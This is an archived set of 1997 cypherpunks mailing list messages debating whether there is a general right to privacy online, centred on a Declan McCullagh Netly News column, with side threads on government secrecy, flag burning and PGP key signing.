From: "Peter Nicol - VRL / BroomStick Productions" <nicol@highway1.com.au>
Date: Fri, 13 Jun 1997 02:36:17 +0800
To: whgiii@amaranth.com
Subject: Re: Secrecy?
In-Reply-To: <199706121722.BAA27903@hedgehog.highway1.com.au>
Message-ID: <199706121821.CAA28599@hedgehog.highway1.com.au>
MIME-Version: 1.0
Content-Type: text/plain




> >Hmmmm . . .
> 
> >After following this list for a while I offer the following  observation:
> 
> >"Would it be better to DEMAND the full disclosure of the governments 
> >secrets rather than scramble around trying to keep ours."
> 
> >I am prepared to allow governments full access to my 
> >communications when they allow me full access to theirs.
> 
> Well I for one am not.
> 
> What the government does is our business as they work for us. We have
> every right to DEMAND full acess to what they are doing.
> 
> The government does not have the right to access to what it's citizens are
> doing.
> 

Hmmm . . . "The Govenment" or "GovernmentS" . . . perhaps a fine 
point.

> This is a simple boss-employee relationship and the government is *NOT*
> the boss.

Ugly!  I do not enter into boss-employee relationships as either the 
boss or the employee.  I work/play WITH people FOR people as a node 
in the network, not a part of the heirarchy.  Ummm . . . You seem to 
have missed/not quoted the other part of my post.





Peter Nicol
Global Media Magnet
nicol@iap.net.au
019 111 943 (OZ)

"Nonlinear models differ form linear ones in a number of ways.  
Rather than trying to figure out all the chains of causality, 
the modeler looks for nodes where feedback loops join and tries 
to capture as many of the important loops as possible in the 
system's "picture."  Rather than shaping the model to make a 
forecast about future events or to exercise some central 
control, the nonlinear modeller is content to perturb 
the model, trying out different variations in order to 
learn about the system's critical points and its homeostasis 
(resitance to change).  The modeler is not seeking to 
control the complex system by quantifying it and mastering 
its causality; she wants to increase her "intuitions" 
about how the system works so she can interact with 
it more harmoniously." 
- Turblulent Mirror





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Nicol - VRL / BroomStick Productions" <nicol@highway1.com.au>
Date: Fri, 13 Jun 1997 04:06:24 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Access to Storage and Communication Keys et al
In-Reply-To: <19970612121314.48508@bywater.songbird.com>
Message-ID: <199706121952.DAA29669@hedgehog.highway1.com.au>
MIME-Version: 1.0
Content-Type: text/plain




> 
> Secrecy is a tool, period.  Who is TruthMonger?  There are *no* 
> tools (at this abstract level) that are used exclusively by the 
> state.  Also, the raw material of politics is human nature, and politics 
> permeates all human activity, whether connected to the state or not. 
> 
> > > > Two daughters of a silk merchant live in Kyoto,
> > > > The elder is twenty, the younger, eighteen.
> > > > A soldier may kill with his sword,
> > > > But these girls slay men with their eyes.
> > > 
> > > Basho?
> > Ummm . . . My copy of "Zen Flesh, Zen Bones" only attributes this to 
> > "A well known Japanese poet".  Do you know anythang?
> 
> I no nothing.
> 
> Many years ago I was heavily into zen -- I have a well-worn copy of
> Zen Flesh, Zen Bones at home.  Further exploration lead me to
> Chuang-tzu:
> 
> 	http://songbird.com/gc/river/chuangtzu.html
> 

danke

> Perhaps I saw that poem in ZFZB.  But I have a couple of collections
> of Japanese poetry at home, as well as a very nice edition of Basho's
> "Journey to the North", or whatever it's called (it gets translated
> different ways, and I am confused...)
> 
> > current project: www.iinet.net.au/~ratty/legends
> 
> This has moved...

Not only that, but the site and the client SUCK.  Oh how I hate 
capitalism.  Even when I try to be one of the "winners" and involve 
myself in it, I still hate it.  etc etc rant on 


> -- 
> Kent Crispin				"No reason to get excited",
> kent@songbird.com			the thief he kindly spoke...
> PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
> http://songbird.com/kent/pgp_key.html
> 

Thankyou for your posts.  It pleases me to see that a bunch of crypto 
intellectuals will take my posts seriously.  I have been interested 
in this topic for a while and only recently got my shit together 
enough to understand how to subscribe to a mailing list.  The last 
time I used PGP was when it was in DOS and I found it a hassle.  Does 
that make me a clueless newbie?

Ummm . . . my training was in Non Violent Action (NVA).  This is 
being used by ppl at the moment to protect Gibblett Forest from being 
clear fell logged by a (IMNSHO) corrupt "Conservation and Land 
Management" (CALM) authority in Western Australia.

As a way of countering destructive paranoia, we have developed a 
doctrine of "secrecy is a tool of the state".  (I am well aware of 
the limitations of Doctrine as a logical formal system godelwise).
To this end, we have NO SECRETS.  Everything we do is "public 
domain", ie, everyone, including our "enemies" gets to know it.  In 
practice, this is simple, ie Civil Disobedience.  You wanna log the 
trees, we gonna stop you, aint no big secret. We even go to the 
lengths of notifying the authourites, ie CALM/police of our 
strategies and telling them who will be doing an arrestable action 
on a particular day.  At the moment we have 3 ppl up Karri trees on 
platforms.

I find it very empowering.  I see no need for secrets.

Sure, secrecy is a tool.  I ask these questions:

1. Does it work.
2. Is it useful.  (also known as the Doctrine of Utility)
3. Does it make me happy.

I usually use these to analyse behaviour patterns, but hey . . .

1. Hmmmm . . . It kinda works, but it is a big hassle.  Then you 
gotta worry about looking like you are trying to hide somethang and 
thereby attracting attention.  Also, you get to worry about IF it 
does actually work and is uncrackable/contains no back door etc.

2. If you are paranoid or cannot organize yourself so that secrecy is 
unneccessary.

3. I am not sure WHAT makes me happy, but secure communications and 
commerce are not high on my list of priorities.  Perhaps an end to 
paranoia and capitalism that REQUIRE secure comms would make me 
happy.

Anyway . . .

Thanx for the pointer

Neter Picol
Violence is the last refuge of the Incompetent - Assimov (?)
A week is long time in crypto politics






Pete Nicol
Global Media Magnet
nicol@iap.net.au



BroomStick Productions
VRL - the Virtual Record Label
(+61 9) 335 9490   fax (+61 9) 335 9508
nicol@iap.net.au
broomstick@occtech.com.au

Current Project: www.iinet.com.au/~ratty/legends





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Tim Tartaglia" <tag@silvix.sirinet.net>
Date: Fri, 13 Jun 1997 20:56:49 +0800
To: "RS" <cypherpunks@toad.com
Subject: Re: Flag Burning...
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <199706131243.MAA26920@silvix.sirinet.net>
MIME-Version: 1.0
Content-Type: text/plain



On 13 Jun 97 at 1:20, RS wrote:

> To allow someone to publicly burn a flag is essentially displaying our
> freedom being burned.

This may seem counter-intuitive, but allowing someone to publicly 
burn a flag is _demonstration_, not destruction,  of the freedom we 
celebrate.  In fact, supporting other's right to utter speech that we find 
distasteful is the purest form of "freedom and liberty."  

Tag





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 13 Jun 1997 23:46:27 +0800
To: cypherpunks@toad.com
Subject: Responses to "there's no general right to privacy"
Message-ID: <Pine.GSO.3.95.970613075729.27747F-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




**************

Date: Thu, 12 Jun 1997 19:27:45 -0400
From: Barney Wolff <barney@databus.com>

> Date: Thu, 12 Jun 1997 18:58:25 -0400
> From: Declan McCullagh <declan@pathfinder.com>
> 
> ... But in truth, privacy is not a
> right but a preference: Some people want more of it
> than others.

Free speech is not a right but a preference.  Some people want more of it
than others.

Because your job would be easier if there were less privacy, we
all should suffer?  Consider yourself flamed.

Barney Wolff  <barney@databus.com>

**************

Date: Thu, 12 Jun 1997 22:43:59 -0400
From: Mike Godwin <mnemonic@well.com>
To: declan@well.com, fight-censorship-announce@vorlon.mit.edu

At 6:58 PM -0400 6/12/97, Declan McCullagh wrote:
>**************
>
>http://pathfinder.com/netly/editorial/0,1012,1050,00.html
>
>The Netly News
>June 12, 1997
>
>Privacy? What Privacy?
>by Declan McCullagh (declan@well.com)
>
>     I have a confession to make: Unlike many of my
>civil libertarian colleagues, I believe you have no
>general right to privacy online.

I endorse Declan's comments here, and most of what he says about privacy --
in particular that there is no general (read "universally applicable")
right to privacy.

There are, however, some particular rights to privacy in the United States
that are worth maintaining and protecting into the next century.

As against the government, these include (but are not limited to) one's
4th, 5th, and 6th Amendment rights that limit what the government can do to
violate your privacy.

As against other individuals and private entities, these include (but are
not limited to) the rights protected under the invasion-of-privacy torts,
and the restrictions on private companies' secondary use of transactional
data.

These carveouts from the general presumption articulated by Declan are
generally supported by the American public, and have been reasonably well
harmonized with First Amendment law. And they've stood the test of time.

Most privacy advocates I know, when they're talking about privacy, are
talking about these carveouts -- both as they exist now and as they will
need to evolve in the decades to come.

It should be noted that efforts like the EFF-originated ETrust program (now
called Trust-E thanks to a trademark dispute) are not based on "rights,"
but on the creation of incentives to inform the public about the use of
their personal information. As such, they sidestep the "right to privacy"
discussion altogether.

Which is probably just as well, given the quasi-theological taste such
legal discussions tend to have.


--Mike




----------------------------------------------------------------------------
'Indeed, the Government's asserted "failure" of the Internet rests on the
implicit premise that too much speech occurs in that medium, and that
speech there is too available to the participants.  This is exactly the
benefit of Internet communication, however.  The Government, therefore,
implicitly asks this court to limit both the amount of speech on the
Internet and the availability of that speech.  This argument is profoundly
repugnant to First Amendment principles.'
   --Judge Stewart Dalzell, ACLU v. Reno.

      Mike Godwin, EFF Staff Counsel, can be reached at mnemonic@eff.org
                   or at his office, 510-548-3290.
----------------------------------------------------------------------------









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 13 Jun 1997 20:34:21 +0800
To: <cypherpunks@toad.com>
Subject: Re: "Bozos Against Flag Burning"
In-Reply-To: <199706130521.BAA13934@ren.globecomm.net>
Message-ID: <v0302096cafc6e64af462@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:56 am -0400 on 6/13/97, Tim May wrote:


>  Did you vote for
> George McGovern in 1972 because he was a veteran (a bomber pilot, in fact)
> while Richard Nixon was a guy who finagled his way out of joining the
> military?

Uh, Nixon spent WWII in the navy(?) in the Pacific.

About the only finagling he did was win enough in poker to fund his
congressional campaign on returning home.

I am not a crook,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 13 Jun 1997 23:46:06 +0800
To: cypherpunks@toad.com
Subject: The Cartoon Decency Act? from the Netly News
Message-ID: <Pine.GSO.3.95.970613080617.27747J-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 13 Jun 1997 08:05:12 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: The Cartoon Decency Act? from the Netly News


***********

http://cgi.pathfinder.com/netly/opinion/0,1042,1055,00.html

The Netly News Network
June 13, 1997

The Cartoon Decency Act?
by Declan McCullagh (declan@well.com)

        We all know what threats confront our children today: War.
   Hunger. Poverty. Ignorance. But animated cartoon characters on the
   Net?

        Actually, the Center for Media Education and its allies ignored
   the others and just zeroed in on the looming menace of Net-toons
   yesterday during the Federal Trade Commission's interminable privacy
   hearings. CME's Shelley Pasnik warned, "Animated product
   spokescharacters are coming into our childrens' computers... Parents
   are deeply troubled by the intrusive nature of the online [world]
   coming into our homes." Hadn't she read Kurt Anderson's editorial in
   The New Yorker this week, that the onslaught of 'toons signals a
   cultural renaissance in the U.S.? Doh!

        The Center for Media's alarums sound familiar. Supporters of the
   notorious Communications Decency Act cried that "pornography is coming
   into our home computers" and used the same excuse of "protecting
   children" to justify passing the law.

[...]







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 13 Jun 1997 23:42:30 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.SUN.3.96.970613110728.23715B-100000@beast.brainlink.com>
Message-ID: <Pine.GSO.3.95.970613082033.27747N-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



I suppose I am scum, at least by Ray's definition.

But let me ask this question: if someone *did* post my credit card/bank
records online through an anonymous remailer, what recourse would I have?
What recourse should I have?

-Declan


On Fri, 13 Jun 1997, Ray Arachelian wrote:

> On Thu, 12 Jun 1997, Declan McCullagh wrote:
> 
> > http://pathfinder.com/netly/editorial/0,1012,1050,00.html
> 
> [...]
> 
> >      I have a confession to make: Unlike many of my
> > civil libertarian colleagues, I believe you have no
> > general right to privacy online. Sure, you have the
> > right to protect your personal data, but you shouldn't
> > be able to stop someone else from passing along that
> > information if you let it leave your computer. That's
> > your responsibility.
> 
> 
> Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
> morals, eh?  Maybe if someone would go through all your records and post
> them all over the net, you'd feel differently!
> 
> Declan, this truly sucks. :(  I'm very disappointed in you.  You are truly
> scum if you believe this.
> 
> 
> =====================================Kaos=Keraunos=Kybernetos==============
> ..+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
> ...\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
> <--*-->| ------------------ | syrup, don't you?"                     |\/|\/
> .../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
> ..+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
> ======================== http://www.sundernet.com =========================
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 13 Jun 1997 23:56:30 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.SUN.3.96.970613110728.23715B-100000@beast.brainlink.com>
Message-ID: <Pine.GSO.3.95.970613082215.27747P-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Oh, and at least read the whole article.

-Declan
   
   Privacy? What Privacy?

   by Declan McCullagh   June 12, 1997
   
        I have a confession to make: Unlike many of my civil libertarian
   colleagues, I believe you have no general right to privacy online.
   Sure, you have the right to protect your personal data, but you
   shouldn't be able to stop someone else from passing along that
   information if you let it leave your computer. That's your
   responsibility.
   
        So you can imagine my dismay when I learned I'd be sitting
   through four full days of Federal Trade Commission hearings this week
   on Internet privacy. The commission's goal? To define "privacy rights"
   for the Net -- and to be perhaps the first federal agency to regulate
   it. The commissioners are being spurred on by consumer groups that
   want the government to bar firms from collecting information about
   your online wanderings. Businesses say that such a rule would stifle
   Internet advertising and commerce and have recently released a flurry
   of self-regulatory proposals.
   
        "At what point do we trigger some concern?" FTC Commissioner
   Christine Varney asked on Tuesday, the first day of the hearing. "Is
   there any circumstance under which access to the information that
   exists should be restricted?"
   
        Evan Hendricks from Privacy Times responded: "We see there's a
   huge problem developing with personal information over the Internet."
   EPIC's Marc Rotenberg added later: "We are selling information today
   that 10 years ago would not be bought and sold. The law has not kept
   up with these developments."
   
        Yet this misses the point. Protecting your personal privacy
   online is your responsibility. Turn off cookies. Don't give out your
   home address. Educate your children. Use the Anonymizer. Stay away
   from web sites you don't trust. You, not the federal government,
   should make these decisions.
   
        Which is one reason why I think there is no general right to
   privacy -- at least as the consumer groups and privacy advocates
   describe it. Rotenberg likes to say "Privacy is not an absolute right,
   but a fundamental right." But in truth, privacy is not a right but a
   preference: Some people want more of it than others.
   
        Of course there's an essential right to privacy from the
   government. (Beware government databases: Nazis used census data in
   Germany and Holland to track down and eliminate undesirables.) You
   also have a right to privacy from Peeping Toms.
   
        But -- no matter how much big-government fetishists want this to
   be true -- you don't own information about yourself. After all,
   journalists are able to investigate someone's private life and publish
   an article -- even if it contains embarrassing personal details. This
   is a good thing: Any restrictions would weaken the First Amendment.
   Then there's gossip, which is a time-honored way of trading in others'
   personal information. "The reindeer-herding Lapps, for whom theft of
   livestock is easy and common, gossip about who has stolen which animal
   and where they are," sociologist Sally Engle Merry writes.
   
        "Fencing off information behind a newly-created wall of 'privacy
   rights' has obvious free speech implications," says Solveig Bernstein,
   a lawyer at the Cato Institute. "The government has no business
   telling private firms whether they can share information about events
   and people."
   
        Fortunately, you have some options. Say you walk into Radio Shack
   and that teenager behind the counter wants your home address. You have
   three choices: Convince the guy he doesn't need it, ask the government
   to force him not to require it -- or leave.
   
        Yes, leave. The same with a virtual storefront on a web site. If
   you don't like what information it records about you, or you're unsure
   about its privacy policies, take your browser elsewhere. Vote with
   your mouse button.
   
        New technologies will make this easy. Yesterday at the FTC
   hearing the Electronic Frontier Foundation unveiled TRUSTe, which is a
   privacy rating system for web sites where three types of icons
   indicate what a web site does with your personal information. Firms
   display the appropriate icon and agree to spot checks and audits to
   ensure they comply.
   
        "We're trying to foster honesty, not regulation. We're trying to
   foster the ability of the consumer to make a choice," EFF chairman
   Esther Dyson said. "If companies find people don't want to do business
   with them because of free exchange, they'll offer that option."
   
        That's exactly right, and that's why TRUSTe is such a good idea.
   Unlike FTC regulations that end at national borders, TRUSTe's icons
   can appear on overseas sites and foster electronic commerce globally.
   
        Indeed, most Americans prefer nongovernmental solutions. A Lou
   Harris survey announced yesterday said 70 percent of the public
   believes the private sector, not the feds, should take the lead in
   protecting privacy online. "By 2 to 1 the responses say business is
   more likely to be trusted to do good in this area," says pollster
   Stanley Greenberg. "When asked about a privacy commission that would
   take a regulatory approach, two thirds were against such a measure."
   
        But somehow, I doubt the FTC will take the hint.   *
   






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 14 Jun 1997 00:19:48 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.SUN.3.96.970613112827.23715F-100000@beast.brainlink.com>
Message-ID: <Pine.GSO.3.95.970613083909.27747Q-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



It's sad but not surprising that Ray didn't even bother to read the
article before saying "FUCK YOU." Talk about clueless...

He still misunderstands my position. I'm saying you have no property right
in information others collect about you.

> How many loons have used DMV records to stalk their victims?

How many loons have used newspaper reports to stalk their victims?
 
> How about the nice Netscape hole that allows sites to surf your hard drive
> as you're surfing their sites?

Great. You want Congress to pass a law that says "Netscape shall release
no more buggy browsers." Yeah, and mandate that pi is 3.14, right? 

> Yes, I do take privacy seriously, and I do protect it.  But to say anyone
> has the right to snoop my machines and see what I have there is NOT cool.
> What I leave on my computer is my private business, and NOBODY HAS THE
> RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether or not they have root.

I'm not saying that people have a "right to surf (?) it without your
permission." That's a violation of your property rights, a trespass. But
if you connect to my web site, I should be allowed to record whatever info
leaks from your computer. Don't like it? Cut the flow or don't come. 

-Declan


On Fri, 13 Jun 1997, Ray Arachelian wrote:

> On Fri, 13 Jun 1997, Declan McCullagh wrote:
> 
> > Oh, and at least read the whole article.
> > 
> > -Declan
> >    
> >    Privacy? What Privacy?
> > 
> >    by Declan McCullagh   June 12, 1997
> >    
> >         I have a confession to make: Unlike many of my civil libertarian
> >    colleagues, I believe you have no general right to privacy online.
> >    Sure, you have the right to protect your personal data, but you
> >    shouldn't be able to stop someone else from passing along that
> >    information if you let it leave your computer. That's your
> >    responsibility.
> 
> I still disagree, and not just online.  There is plenty of information
> that you have no control over but should.  Your credit card transactions
> for instance can be looked up by any scumbag willing to pay money to TRW
> and it's ilk.  Your DMV records, your health records.  In theory only
> those that need to know this knowledge should be able to access it, and in
> practice what have we seen so far? 
> 
> If I give XYZ corp any info I expect them not to sell that info without my
> permission.  Verily, that information is valuable, therefore if they want
> to sell it, they should get my permission, and should pay me for it.
> 
> I don't necessarily want government restrictions on privacy, however I
> would want a constitutional amendment to privacy that says: all I do is
> private unless I explicitly share it with others, and if I do share it,
> they may not pass it on to others without my permission.  This is on a
> personal level, not on a corporate or governmental level.  Why I feel this
> way is an excercise for the reader.  Hint: Uncle Sam works for us since we
> pay him from our income.  We don't work for him (most of the time.)
> 
> How many loons have used DMV records to stalk their victims?
> 
> How about the nice Netscape hole that allows sites to surf your hard drive
> as you're surfing their sites?
> 
> Yes, I do take privacy seriously, and I do protect it.  But to say anyone
> has the right to snoop my machines and see what I have there is NOT cool.
> What I leave on my computer is my private business, and NOBODY HAS THE
> RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether or not they have root.
> As for Radio Shack weasels, I don't give them info, or give them
> misleading info.  What's on my hard drives and in my machine's RAM is NONE
> OF ANYONE'S BUSINESS!
> 
> At the last PC Expo, I registered as H.P. Lovecraft.  When I buy things
> that are purchased by credit card I know that info will leak out, and
> don't do this unless I'm willing to leak it out.
> 
> So, I still disagree with your view.  Even after reading the whole
> article.
> 
> =====================================Kaos=Keraunos=Kybernetos==============
> ..+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
> ...\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
> <--*-->| ------------------ | syrup, don't you?"                     |\/|\/
> .../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
> ..+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
> ======================== http://www.sundernet.com =========================
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 14 Jun 1997 00:23:14 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.SUN.3.96.970613113859.23715G-100000@beast.brainlink.com>
Message-ID: <Pine.GSO.3.95.970613084421.27747R-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Again Ray misses the point. It's your responsibility to protect your
privacy. Choose credit card companies that protect it and you can enforce
this "right to privacy" through contract law. Ordering toilets on your
cards is already fraud. 

Nobody's saying someone should be allowed to break into your computer.
But by all means, beat that straw man some more.

-Declan


On Fri, 13 Jun 1997, Ray Arachelian wrote:

> On Fri, 13 Jun 1997, Declan McCullagh wrote:
> 
> > I suppose I am scum, at least by Ray's definition.
> > 
> > But let me ask this question: if someone *did* post my credit card/bank
> > records online through an anonymous remailer, what recourse would I have?
> > What recourse should I have?
> > 
> > -Declan
> 
> My point exactly.  Why should anyone have access to my machine or my
> records and be able to pass it on to others?  Sure the insurance companies
> will squeal that they should have access to my DMV and health records, but
> should they have the right to take that info and pass it on publically?
> 
> What recourse do you feel you should have?
> 
> What would YOU do if someone did post all your personal info online?
> things like credit records, home address, phone number, DMV records,
> health records and such?  What would you WANT to do?  And what control do
> you currently have over this?
> 
> Mind you, with your credit card info, any one of the "ankle biters" of the
> Bevis & Butthead mentality would be able to purchase a dozen toilets and
> have them shipped to your home, and other such abuses.  Or report all your
> credit cards stolen right before you decide to entertain someone to dinner
> and find you can't pay for it... etc...  These are all well known pranks.
> 
> Do you see my point and why I'm vehemently opposed to yours?
> 
> Or do you believe that "Oh, I have nothing to hide, I'm a good person and
> have nothing to fear from anyone?"
> 
> > 
> > 
> > On Fri, 13 Jun 1997, Ray Arachelian wrote:
> > 
> > > On Thu, 12 Jun 1997, Declan McCullagh wrote:
> > > 
> > > > http://pathfinder.com/netly/editorial/0,1012,1050,00.html
> > > 
> > > [...]
> > > 
> > > >      I have a confession to make: Unlike many of my
> > > > civil libertarian colleagues, I believe you have no
> > > > general right to privacy online. Sure, you have the
> > > > right to protect your personal data, but you shouldn't
> > > > be able to stop someone else from passing along that
> > > > information if you let it leave your computer. That's
> > > > your responsibility.
> > > 
> > > 
> > > Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
> > > morals, eh?  Maybe if someone would go through all your records and post
> > > them all over the net, you'd feel differently!
> > > 
> > > Declan, this truly sucks. :(  I'm very disappointed in you.  You are truly
> > > scum if you believe this.
> 
> =====================================Kaos=Keraunos=Kybernetos==============
> ..+.^.+.|  Ray Arachelian    | "If you wanna touch the sky, you must  |./|\.
> ...\|/..|sunder@sundernet.com| be prepared to die.  And I hate cough  |/\|/\
> <--*-->| ------------------ | syrup, don't you?"                     |\/|\/
> .../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
> ..+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
> ======================== http://www.sundernet.com =========================
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 14 Jun 1997 00:00:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <199706122248.RAA11848@einstein.ssz.com>
Message-ID: <v03102801afc71aba9e8d@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:56 AM -0700 6/13/97, Declan McCullagh wrote:
>I suspect the scare about privacy has led to muddled thinking.
>
>Free speech is a right that strictly limits the government's ability to
>control what you say. We should have a similar right of privacy from the
>government.
>
>But I give up my free speech "rights" when I attend a college with a wacky
>speech code or go to work at a company with workplace speech policies. My
>choices in those situations are governed by my free speech preferences.
>Similarly, I give up my privacy "rights" when I go to unknown web sites,
>apply for a loan, or post to Usenet, etc. These also are preferences.
>
>I'm surprised not to hear more from other folks here: my position is one
>cypherpunks have advocated for years -- controlling what data flow from my
>computer is my responsibility.


I agree with everything Declan is saying. There is serious confusion out
there about "rights to privacy," everything from people passing laws
limiting how businesses may run their businesses to proposed laws limiting
the records people and companies may keep.

Sadly, too many people are simply ignorant of the underlying issues and
haven't given the issues much critical thought.

Hence the calls for "privacy laws," which actually violate more basic rights.

I predict a long battle with these "privacy advocates," especially the D.C.
lobbyist groups.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 14 Jun 1997 00:31:37 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: <Pine.SUN.3.96.970613110728.23715B-100000@beast.brainlink.com>
Message-ID: <Pine.GSO.3.95.970613085334.27747U-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




On Fri, 13 Jun 1997, Ray Arachelian wrote:
> Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
> morals, eh?

Far from it. My position is a principled one, not one of convenience.

As a civil libertarian, for instance, I would not support laws that give
certain journalists more free speech "rights" than a Net-loon with a web
site.

-Declan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 14 Jun 1997 00:29:17 +0800
To: cypherpunks@Algebra.COM
Subject: Re: FUCK YOU: There's no general right to privacy -- get over it,from Netly
In-Reply-To: <v03007801afc62e624e47@[168.161.105.191]>
Message-ID: <v03102802afc71cdf1f83@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:12 AM -0700 6/13/97, Ray Arachelian wrote:
>On Thu, 12 Jun 1997, Declan McCullagh wrote:
>
>> http://pathfinder.com/netly/editorial/0,1012,1050,00.html
>
>[...]
>
>>      I have a confession to make: Unlike many of my
>> civil libertarian colleagues, I believe you have no
>> general right to privacy online. Sure, you have the
>> right to protect your personal data, but you shouldn't
>> be able to stop someone else from passing along that
>> information if you let it leave your computer. That's
>> your responsibility.
>
>
>Booooooooo!  Hisssssssssss!  Putting your bread and butter before your
>morals, eh?  Maybe if someone would go through all your records and post
>them all over the net, you'd feel differently!
>
>Declan, this truly sucks. :(  I'm very disappointed in you.  You are truly
>scum if you believe this.

Your "go through all your records" point is ambiguous. If others broke into
your house or office and searched your computer they would be guilty of
breaking and entering, and probably theft (of your records). Publication of
your records "all over the net" could be a compounding act, especially in a
civil action against the thieves.

However, if the "go through all your records" is really just collecting and
compiling your public utterances, or information you gave to others (with
no contractual agreement of secrecy), etc., then there is really no
generalized "right to privacy."

In a free and open society people are free to take any information they
have gathered or compiled, cross-indexed and compiled, and sell it or do as
they wish with it. "Tim's Dossier Service" is free to compile dossiers
based on any records he can find.

("Privacy advocates" find such things as "Tim's Dossier Service" abhorrent,
and want laws regulating such things. They even want laws regulating the
searching of past postings on Usenet, services likek DejaNews and
AltaVista.)

So, Ray, count me as "scum." Maybe Vulis will loan you his robot insulter
and you can send ASCII art to the list.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Sat, 14 Jun 1997 00:24:25 +0800
To: "William H. Geiger III" <whgiii@amaranth.com>
Subject: Re: Photo ID is not needed for key signings....
In-Reply-To: <v0300786dafc68637a08c@[207.94.249.152]>
Message-ID: <v03007874afc71e205651@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:33 PM -0700 6/12/97, William H. Geiger III wrote:
>In <v0300786dafc68637a08c@[207.94.249.152]>, on 06/12/97
>   at 10:14 PM, Bill Frantz <frantz@netcom.com> said:
>>If you have a version of the key with no signatures, then you can change
>>the data field and re-sign with the associated secret key.  Since the
>>data field has changed, you properly need to have others re-verify the
>>validity of the binding.
>
>I don't think that any changes that he would make to his key would need
>re-verification provided that he signed those changes. Take the following
>scenario:
>
